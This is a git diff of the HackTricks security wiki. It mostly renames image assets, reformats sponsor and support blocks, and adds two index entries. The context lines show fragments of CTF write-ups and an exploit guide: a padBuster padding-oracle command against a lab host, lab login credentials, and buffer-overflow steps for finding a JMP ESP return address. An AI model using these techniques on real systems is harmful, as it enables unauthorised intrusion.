diff --git a/.gitbook/assets/image (54) (1).png b/.gitbook/assets/image (54) (1).png
deleted file mode 100644
index cba975c35..000000000
Binary files a/.gitbook/assets/image (54) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (54).png b/.gitbook/assets/image (54).png
index 474931f56..cba975c35 100644
Binary files a/.gitbook/assets/image (54).png and b/.gitbook/assets/image (54).png differ
diff --git a/.gitbook/assets/image (56) (1).png b/.gitbook/assets/image (56) (1).png
deleted file mode 100644
index 6353bf4cc..000000000
Binary files a/.gitbook/assets/image (56) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (56).png b/.gitbook/assets/image (56).png
index 3269b7f67..6353bf4cc 100644
Binary files a/.gitbook/assets/image (56).png and b/.gitbook/assets/image (56).png differ
diff --git a/.gitbook/assets/image (57) (1).png b/.gitbook/assets/image (57) (1).png
deleted file mode 100644
index f071911a5..000000000
Binary files a/.gitbook/assets/image (57) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (57).png b/.gitbook/assets/image (57).png
index 44fe5cb65..f071911a5 100644
Binary files a/.gitbook/assets/image (57).png and b/.gitbook/assets/image (57).png differ
diff --git a/.gitbook/assets/image (58) (1).png b/.gitbook/assets/image (58) (1).png
deleted file mode 100644
index 75bf90941..000000000
Binary files a/.gitbook/assets/image (58) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (58).png b/.gitbook/assets/image (58).png
index 0cadfb948..75bf90941 100644
Binary files a/.gitbook/assets/image (58).png and b/.gitbook/assets/image (58).png differ
diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png
index 69f6170c5..83716d209 100644
Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ
diff --git a/.gitbook/assets/image (61) (1).png b/.gitbook/assets/image (61) (1).png
deleted file mode 100644
index 3e52a89a3..000000000
Binary files a/.gitbook/assets/image (61) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (61).png b/.gitbook/assets/image (61).png
index 866daa163..3e52a89a3 100644
Binary files a/.gitbook/assets/image (61).png and b/.gitbook/assets/image (61).png differ
diff --git a/.gitbook/assets/image (62) (1).png b/.gitbook/assets/image (62) (1).png
deleted file mode 100644
index c8e1b598e..000000000
Binary files a/.gitbook/assets/image (62) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (62).png b/.gitbook/assets/image (62).png
index b3a5bfb51..c8e1b598e 100644
Binary files a/.gitbook/assets/image (62).png and b/.gitbook/assets/image (62).png differ
diff --git a/.gitbook/assets/image (64) (1).png b/.gitbook/assets/image (64) (1).png
deleted file mode 100644
index a15396d79..000000000
Binary files a/.gitbook/assets/image (64) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (64).png b/.gitbook/assets/image (64).png
index 4d56204f7..a15396d79 100644
Binary files a/.gitbook/assets/image (64).png and b/.gitbook/assets/image (64).png differ
diff --git a/.gitbook/assets/image (66) (1).png b/.gitbook/assets/image (66) (1).png
deleted file mode 100644
index 2515a8682..000000000
Binary files a/.gitbook/assets/image (66) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (66).png b/.gitbook/assets/image (66).png
index f8b430522..2515a8682 100644
Binary files a/.gitbook/assets/image (66).png and b/.gitbook/assets/image (66).png differ
diff --git a/.gitbook/assets/image (67) (2).png b/.gitbook/assets/image (67) (2).png
deleted file mode 100644
index ac353e4c4..000000000
Binary files a/.gitbook/assets/image (67) (2).png and /dev/null differ
diff --git a/.gitbook/assets/image (67).png b/.gitbook/assets/image (67).png
index 84884c474..ac353e4c4 100644
Binary files a/.gitbook/assets/image (67).png and b/.gitbook/assets/image (67).png differ
diff --git a/.gitbook/assets/image (68) (1).png b/.gitbook/assets/image (68) (1).png
deleted file mode 100644
index 2f8a8d54c..000000000
Binary files a/.gitbook/assets/image (68) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (68).png b/.gitbook/assets/image (68).png
index 6be443037..2f8a8d54c 100644
Binary files a/.gitbook/assets/image (68).png and b/.gitbook/assets/image (68).png differ
diff --git a/.gitbook/assets/image (69) (1).png b/.gitbook/assets/image (69) (1).png
deleted file mode 100644
index 1ee9326a9..000000000
Binary files a/.gitbook/assets/image (69) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (69).png b/.gitbook/assets/image (69).png
index 83716d209..1ee9326a9 100644
Binary files a/.gitbook/assets/image (69).png and b/.gitbook/assets/image (69).png differ
diff --git a/.gitbook/assets/image (7) (1) (2).png b/.gitbook/assets/image (7) (1) (2).png
new file mode 100644
index 000000000..13436e064
Binary files /dev/null and b/.gitbook/assets/image (7) (1) (2).png differ
diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png
index 13436e064..2cafa46e9 100644
Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ
diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png
index 2cafa46e9..d56929629 100644
Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ
diff --git a/.gitbook/assets/image (70) (2).png b/.gitbook/assets/image (70) (2).png
new file mode 100644
index 000000000..619cc354a
Binary files /dev/null and b/.gitbook/assets/image (70) (2).png differ
diff --git a/.gitbook/assets/image (70).png b/.gitbook/assets/image (70).png
index 619cc354a..49dbc7536 100644
Binary files a/.gitbook/assets/image (70).png and b/.gitbook/assets/image (70).png differ
diff --git a/.gitbook/assets/image (73) (2).png b/.gitbook/assets/image (73) (2).png
new file mode 100644
index 000000000..1982f5d02
Binary files /dev/null and b/.gitbook/assets/image (73) (2).png differ
diff --git a/.gitbook/assets/image (73).png b/.gitbook/assets/image (73).png
index 1982f5d02..2ed1b37ef 100644
Binary files a/.gitbook/assets/image (73).png and b/.gitbook/assets/image (73).png differ
diff --git a/.gitbook/assets/image (8) (2) (1).png b/.gitbook/assets/image (8) (2) (1).png
new file mode 100644
index 000000000..fa756fb50
Binary files /dev/null and b/.gitbook/assets/image (8) (2) (1).png differ
diff --git a/.gitbook/assets/image (8) (2).png b/.gitbook/assets/image (8) (2).png
index fa756fb50..37ab1a51d 100644
Binary files a/.gitbook/assets/image (8) (2).png and b/.gitbook/assets/image (8) (2).png differ
diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png
index 37ab1a51d..0cadfb948 100644
Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ
diff --git a/.gitbook/assets/image (85) (1).png b/.gitbook/assets/image (85) (1).png
deleted file mode 100644
index b377b7664..000000000
Binary files a/.gitbook/assets/image (85) (1).png and /dev/null differ
diff --git a/.gitbook/assets/image (85).png b/.gitbook/assets/image (85).png
index 95d6ba326..b377b7664 100644
Binary files a/.gitbook/assets/image (85).png and b/.gitbook/assets/image (85).png differ
diff --git a/.gitbook/assets/image (9) (1) (2).png b/.gitbook/assets/image (9) (1) (2).png
new file mode 100644
index 000000000..78abb7891
Binary files /dev/null and b/.gitbook/assets/image (9) (1) (2).png differ
diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png
index 78abb7891..dce1b3760 100644
Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ
diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png
index dce1b3760..84884c474 100644
Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index b817e181c..0903dcf0c 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/README.md b/README.md
index 3ca443273..1ccd7d889 100644
--- a/README.md
+++ b/README.md
@@ -44,7 +44,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
### [SYN CUBES](https://www.syncubes.com/)
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -62,7 +62,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
-
+
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
diff --git a/SUMMARY.md b/SUMMARY.md
index edd729d8f..2aaee1b07 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -16,6 +16,7 @@
* [EIGRP Attacks](generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md)
* [GLBP & HSRP Attacks](generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md)
* [IDS and IPS Evasion](generic-methodologies-and-resources/pentesting-network/ids-evasion.md)
+ * [Lateral VLAN Segmentation Bypass](generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md)
* [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
* [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
* [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
@@ -361,6 +362,7 @@
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
+ * [Cisco SNMP](network-services-pentesting/pentesting-snmp/cisco-snmp.md)
* [SNMP RCE](network-services-pentesting/pentesting-snmp/snmp-rce.md)
* [194,6667,6660-7000 - Pentesting IRC](network-services-pentesting/pentesting-irc.md)
* [264 - Pentesting Check Point FireWall-1](network-services-pentesting/pentesting-264-check-point-firewall-1.md)
diff --git a/backdoors/salseo.md b/backdoors/salseo.md
index 290dc0e87..a11aaddb8 100644
--- a/backdoors/salseo.md
+++ b/backdoors/salseo.md
@@ -139,7 +139,7 @@ Select **x64** (if you are going to use it inside a x64 box, that was my case),
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
-![](<../.gitbook/assets/image (10).png>)
+![](<../.gitbook/assets/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
index 6603c683e..d643969b7 100644
--- a/cryptography/certificates.md
+++ b/cryptography/certificates.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -195,7 +195,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
index ee2e6f68c..d86515fc1 100644
--- a/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
+++ b/ctf-write-ups/try-hack-me/hc0n-christmas-ctf-2019.md
@@ -1,25 +1,20 @@
-
+# hc0n Christmas CTF - 2019
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)
-# Enumeration
+## Enumeration
I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
@@ -45,7 +40,7 @@ perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/
![](<../../.gitbook/assets/image (248).png>)
-![](<../../.gitbook/assets/image (249).png>)
+![](<../../.gitbook/assets/image (249) (1).png>)
**Set user admin:**
@@ -55,22 +50,14 @@ perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/
![](<../../.gitbook/assets/image (250).png>)
-
-
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
-
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md
index 2c61987ee..37791def0 100644
--- a/ctf-write-ups/try-hack-me/pickle-rick.md
+++ b/ctf-write-ups/try-hack-me/pickle-rick.md
@@ -42,7 +42,7 @@ And as you may see in the last image a **login** page was discovered.
Checking the source code of the root page, a username is discovered: `R1ckRul3s`
-![](<../../.gitbook/assets/image (237).png>)
+![](<../../.gitbook/assets/image (237) (1).png>)
Therefore, you can login on the login page using the credentials `R1ckRul3s:Wubbalubbadubdub`
@@ -58,11 +58,11 @@ Some commands like cat aren't allowed but you can read the first ingredient (fla
Then I used:
-![](<../../.gitbook/assets/image (243).png>)
+![](<../../.gitbook/assets/image (243) (1).png>)
To obtain a reverse shell:
-![](<../../.gitbook/assets/image (239).png>)
+![](<../../.gitbook/assets/image (239) (1).png>)
The **second ingredient** can be found in `/home/rick`
diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
index 8e1bd8dcc..1844fae16 100644
--- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
@@ -22,7 +22,7 @@ Every time you need to **restart the service SLMail** you can do it using the wi
net start slmail
```
-![](<../.gitbook/assets/image (23).png>)
+![](<../.gitbook/assets/image (23) (1).png>)
## Very basic python exploit template
@@ -120,7 +120,7 @@ launch the new exploit and check the EBP and the length of the usefull shellcode
![](<../.gitbook/assets/image (31) (1).png>)
-![](<../.gitbook/assets/image (32).png>)
+![](<../.gitbook/assets/image (32) (1).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
@@ -160,11 +160,11 @@ For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
-![](<../.gitbook/assets/image (33) (1).png>)
+![](<../.gitbook/assets/image (33).png>)
In this case you can see that **the char 0x0D is avoided**:
-![](<../.gitbook/assets/image (34) (1).png>)
+![](<../.gitbook/assets/image (34).png>)
## Find a JMP ESP as a return address
@@ -182,7 +182,7 @@ You will **list the memory maps**. Search for some DLl that has:
* **NXCompat: False**
* **OS Dll: True**
-![](<../.gitbook/assets/image (35) (1).png>)
+![](<../.gitbook/assets/image (35).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
@@ -193,7 +193,7 @@ Now, inside this memory you should find some JMP ESP bytes, to do that execute:
**Then, if some address is found, choose one that don't contain any badchar:**
-![](<../.gitbook/assets/image (36) (1).png>)
+![](<../.gitbook/assets/image (36).png>)
**In this case, for example: \_0x5f4a358f**\_
diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md
index c4ac83f92..89a2d6930 100644
--- a/forensics/basic-forensic-methodology/linux-forensics.md
+++ b/forensics/basic-forensic-methodology/linux-forensics.md
@@ -1,28 +1,22 @@
# Linux Forensics
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -167,15 +161,13 @@ icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Search for known Malware
@@ -232,15 +224,13 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
find /sbin/ –exec rpm -qf {} \; | grep "is not"
```
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Recover Deleted Running Binaries
@@ -375,15 +365,13 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Review User Accounts and Logon Activities
@@ -455,22 +443,18 @@ Note that not all diffs can feature all types. For instance, diffs from the inde
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
index 2897646aa..1ad73eb12 100644
--- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,30 +1,25 @@
-
+# Memory dump analysis
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
-# [Volatility](volatility-examples.md)
+## [Volatility](volatility-examples.md)
The premiere open-source framework for memory dump analysis is [Volatility](volatility-examples.md). Volatility is a Python script for parsing memory dumps that were gathered with an external tool (or a VMware memory image gathered by pausing the VM). So, given the memory dump file and the relevant "profile" (the OS from which the dump was gathered), Volatility can start identifying the structures in the data: running processes, passwords, etc. It is also extensible using plugins for extracting various types of artifacts.\
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
-# Mini dump crash report
+## Mini dump crash report
When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump.
@@ -38,31 +33,20 @@ You can also load the exception and see the decompiled instructions
![](<../../../.gitbook/assets/image (219).png>)
-![](<../../../.gitbook/assets/image (218).png>)
+![](<../../../.gitbook/assets/image (218) (1).png>)
Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump.
You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
-
-
-
-
-
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
